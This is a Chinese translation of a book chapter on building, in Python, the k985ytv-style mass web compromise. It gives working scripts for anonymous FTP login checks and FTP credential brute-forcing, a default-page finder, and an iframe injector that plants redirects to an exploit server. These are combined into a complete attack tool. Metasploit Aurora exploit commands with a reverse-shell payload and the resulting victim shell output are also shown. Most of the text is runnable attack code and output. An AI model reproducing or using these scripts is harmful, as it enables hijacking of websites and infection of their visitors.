- A+
crown丶prince (我用双手成就你的梦想) | 2015-10-03 15:39
连载介绍信息:http://zone.wooyun.org/content/23138
原作者:Chris Katsaropoulos
第一译者:@草帽小子-DJ
第二译者:crown丶prince
通过FTP连接WEB来渗透
在最近的一次巨大的损害中,被称为k985ytv的攻击者,使用匿名和盗用的FTP凭证,获得了22400个域名和536000被感染的页面。利用授权访问,攻击者注入Javascript代码,使好的首页重定向到乌克兰境内的恶意页面。一旦受感染的服务器被重定向到恶意的网站,恶意的主机将会在受害者电脑中安装假冒的防病毒软件,并窃取受害者的信用卡信息。K985ytv的攻击取得了巨大的成功。在下面的章节中,我们将用Python来建立这种攻击。
检查受感染服务器的FTP日志,我们看看到底发什么什么事。一个自动的脚本连接到目标主机以确认它是否包含一个名为index.htm的默认主页。接下来攻击者上传了一个新的index.htm页面,可能包含恶意的重定向脚本。受感染的服务器渗透利用任何访问它页面的脆弱客户机。
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIST /
folderthis/folderthat/" 226 1862
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I"
200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV"
227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE
index.htm" 213 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "RETR
index.htm" 226 2573
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I"
200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV"
227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOR
index.htm" 226 3018
为了更好的理解这种攻击的初始向量。我们简单的来谈一谈FTP的特点。文件传输协议FTP服务用户在一个基于TCP网络的主机之间传输文件。通常情况下,用户通过用户名和密码来验证FTP服务。然而,一些网站提供匿名认证的能力,在这种情况下,用户提供用户名为“anonymous”,用电子邮件来代替密码。
用Python构建匿名的FTP扫瞄器
就安全而言,网站提供匿名的FTP服务器访问功能似乎很愚蠢。然而,令人惊讶的是许多网站提供这类FTP的访问如升级软件,这使得更多的软件获取软件的合法更新。我们可以利用Python的ftplib模块来构建一个小脚本,用来确认服务器是否允许匿名登录。函数anonLogin()接受一个主机名反汇编一个布尔值来确认主机是否允许匿名登录。为了确认这个布尔值,这个函数尝试用匿名认证生成一个FTP连接,如果成功,则返回“True”,产生异常则返回“False”。
# coding=UTF-8
import ftplib
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', '[email protected]')
print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded!')
ftp.quit()
return True
except Exception as e:
print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed!')
return False
host = '192.168.95.179'
anonLogin(host)
运行这个脚本,我们可以看到脆弱的目标可以匿名登陆。
attacker# python anonLogin.py
[*] 192.168.95.179 FTP Anonymous Logon Succeeded.
利用Ftplib暴力破解FTP用户认证
当匿名登录一路回车进入系统,攻击者也十分成功的利用偷来的证书获得合法FTP服务器的访问权限。FTP客户端程序,比如说FileZilla,经常将密码存储在配置文件中。安全专家发现,由于最近的恶意软件,FTP证书经常被偷取。此外,HD Moore甚至将get_filezilla_creds.rb的脚本包含到最近的Metasploit的发行版本中允许用户快速的扫描目标主机的FTP证书。想象一个我们想通过暴力破解的包含username/password组合的文本文件。对于这个脚本的目的,利用存贮在文本文件中的username/password组合。
administrator:password
admin:12345
root:secret
guest:guest
root:toor
现在我们能扩展前面建立的anonLogin()函数建立名为brutelogin()的函数。这个函数接受主机名和密码文件作为输入返回允许访问主机的证书。注意,函数迭代文件的每一行,用冒号分割用户名和密码,然后这个函数用用户名和密码尝试登陆FTP服务器。如果成功,将返回用户名和密码的元组,如果失败有异常,将继续测试下一行。如果遍历完所有的用户名和密码都没有成功,则返回包含None的元组。
# coding=UTF-8
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print("[+] Trying: " + userName + "/" + passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + userName + "/" + passWord)
ftp.quit()
return (userName, passWord)
except Exception as e:
pass
print('\n[-] Could not brute force FTP credentials.')
return (None, None)
host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)
遍历用户名和密码组合,我们终于找到了用户名以及对应的密码。
attacker# python bruteLogin.py
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
在FTP服务器上寻找WEB页面
有了FTP访问权限,我们还要测试服务器是否还提供了WEB访问。为了测试这个,我们首先要列出FTP的服务目录并寻找默认的WEB页面。函数returnDefault()接受一个FTP连接作为输入并返回一个找到的默认页面的数组。它通过发送命令NLST列出目录内容。这个函数检查每个文件返回默认WEB页面文件名并将任何发现的默认WEB页面文件名添加到名为retList的列表中。完成迭代这些文件之后,函数将返回这个列表。
# coding=UTF-8
import ftplib
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print('[+] Found default page: ' + fileName)
retList.append(fileName)
return retList
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)
看着这个脆弱的FTP服务器,我们可以看到它有三个WEB页面在基目录下。好极了,我们知道可以移动我们的攻击向量到我们的被感染的页面。
attacker# python defaultPages.py
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php
添加恶意注入脚本到WEB页面
现在我们已经找到了WEB页面文件,我们必须用一个恶意的重定向感染它。为了快速的生成一个恶意的服务器和页面在http://10.10.10.112:8080/exploit页面,我们将使用Metasploit框架。注意,我们选择ms10_002_aurora的Exploit,同样的Exploit被用在攻击Google的极光行动中。位与http://10.10.10.112:8080/exploit的页面将重定向到受害者,这将返回给我们一个反弹的Shell。
attacker# msfcli exploit/windows/browser/ms10_002_aurora
LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[*] Please wait while we load the module tree...
<...SNIPPED...>
LHOST => 10.10.10.112
SRVHOST => 10.10.10.112
URIPATH => /exploit
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.10.10.112
LPORT => 443
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
任何脆弱的客户机连接到我们的服务页面http://10.10.10.112:8080/exploit都将会落入我们的陷阱中。如果成功,它将建立一个反向的TCP Shell并允许我们远程的在客户机上执行Windows命令。从这个命令行Shell我们能在受感染的受害者主机上以管理员权限执行命令。
msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora"
Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
10.10.10.107:49181) at 2012-06-24 10:05:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
接下来,我们必须添加一个重定向从被感染的主机到我们的恶意的服务器。为此,我们可以从攻陷的服务器下载默认的WEB页面,注入一个iframe,然后上传恶意的页面到服务器上。看看这个injectPage()函数,它接受一个FTP连接,一个页面名和一个重定向的iframe的字符串作为输入,然后下载页面作为临时副本,接下来,添加重定向的iframe代码到临时文件中。最后,该函数上传这个被感染的页面到服务器中。
# coding=UTF-8
import ftplib
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
print '[+] Injected Malicious IFrame on: ' + page
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page: ' + page
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src="http://10.10.10.112:8080/exploit"></iframe>'
injectPage(ftp, 'index.html', redirect)
运行我们的代码,我们可以看到它下载index.html页面然后注入我们的恶意代码到里面。
attacker# python injectPage.py
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
将攻击整合在一起
现在我们就整合所有的攻击到attack()函数中。attack()函数接收一个主机名,用户名,密码和定位地址为输入。这个函数首先利用用户凭证登陆FTP服务器,接下来我们寻找默认页面,下载每一个页面并且添加恶意的重定向代码,然后上传修改后的页面到FTP服务器中。def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
添加一些选项参数,我们包装整合我们的脚本。你将注意到我们首先尝试匿名登录FTP服务器,如果失败,我们将通过暴力破解得到服务器的认证。虽然只有近百行代码,但这个攻击完全可以复制k985ytv的原始的攻击向量。
# coding=UTF-8
import ftplib
import optparse
import time
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', '[email protected]')
print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.')
ftp.quit()
return True
except Exception as e:
print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.')
return False
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print '[+] Trying: ' + userName + '/' + passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: '+userName+'/'+passWord)
ftp.quit()
return (userName, passWord)
except Exception, e:
pass
print('\n[-] Could not brute force FTP credentials.')
return (None, None)
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print('[+] Found default page: ' + fileName)
retList.append(fileName)
return retList
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print('[+] Downloaded Page: ' + page)
f.write(redirect)
f.close()
print('[+] Injected Malicious IFrame on: ' + page)
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print('[+] Uploaded Injected Page: ' + page)
def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
def main():
parser = optparse.OptionParser('usage%prog -H <target host展开> -r <redirect page> [-f <userpass file>]')
parser.add_option('-H', dest='tgtHosts', type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file')
parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page')
(options, args) = parser.parse_args()
tgtHosts = str(options.tgtHosts).split(', ')
passwdFile = options.passwdFile
redirect = options.redirect
if tgtHosts == None or redirect == None:
print parser.usage
exit(0)
for tgtHost in tgtHosts:
username = None
password = None
if anonLogin(tgtHost) == True:
username = 'anonymous'
password = '[email protected]'
print '[+] Using Anonymous Creds to attack'
attack(username, password, tgtHost, redirect)
elif passwdFile != None:
(username, password) = bruteLogin(tgtHost, passwdFile)
if password != None:
print'[+] Using Creds: ' + username + '/' + password + ' to attack'
attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
main()
运行我们的脚本攻击一个脆弱的FTP服务器,我们看到它尝试匿名登陆失败,然后暴力破解获得用户名和密码,然后下载和注入代码到每一个基目录里的文件。
attacker# python massCompromise.py -H 192.168.95.179 -r '<iframe src="
http://10.10.10.112:8080/exploit"></iframe>' -f userpass.txt
[-] 192.168.95.179 FTP Anonymous Logon Failed.
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
[+] Found default page: index.html
[+] Found default page: index.php
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
[+] Downloaded Page: index.php
[+] Injected Malicious IFrame on: index.php
[+] Uploaded Injected Page: index.php
[+] Injected Malicious IFrame on: testmysql.php
我们确保我们的攻击向量在运行,然后等待客户机连接到我们受感染的WEB服务器上。很快,10.10.10.107访问了服务器然后重定向到了我们的恶意服务器上。成功!我们通过被感染的FTP服务器得到了一个受害者主机的命令行Shell。
attacker# msfcli exploit/windows/browser/ms10_002_aurora
LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[*] Please wait while we load the module tree...
<...SNIPPED...>
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client
10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
10.10.10.107:65507) at 2012-06-24 10:02:00 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
虽然很多罪犯传播假的反病毒软件利用了k985ytv攻击作为许多的攻击向量之一。km985ytv成功的攻陷了11000台主机中的2220台。总的来说,假冒的杀毒软件盗取了超过43000000的用户的信用卡信息在2009年,并还在持续增长中。这一百多行的代码还不错。在下一节中,我们将创建一个攻击了200多个国家5百万台主机的攻击向量。
$("img").load(function(){ if($(this).attr("width")>640) $(this).attr("width",640); });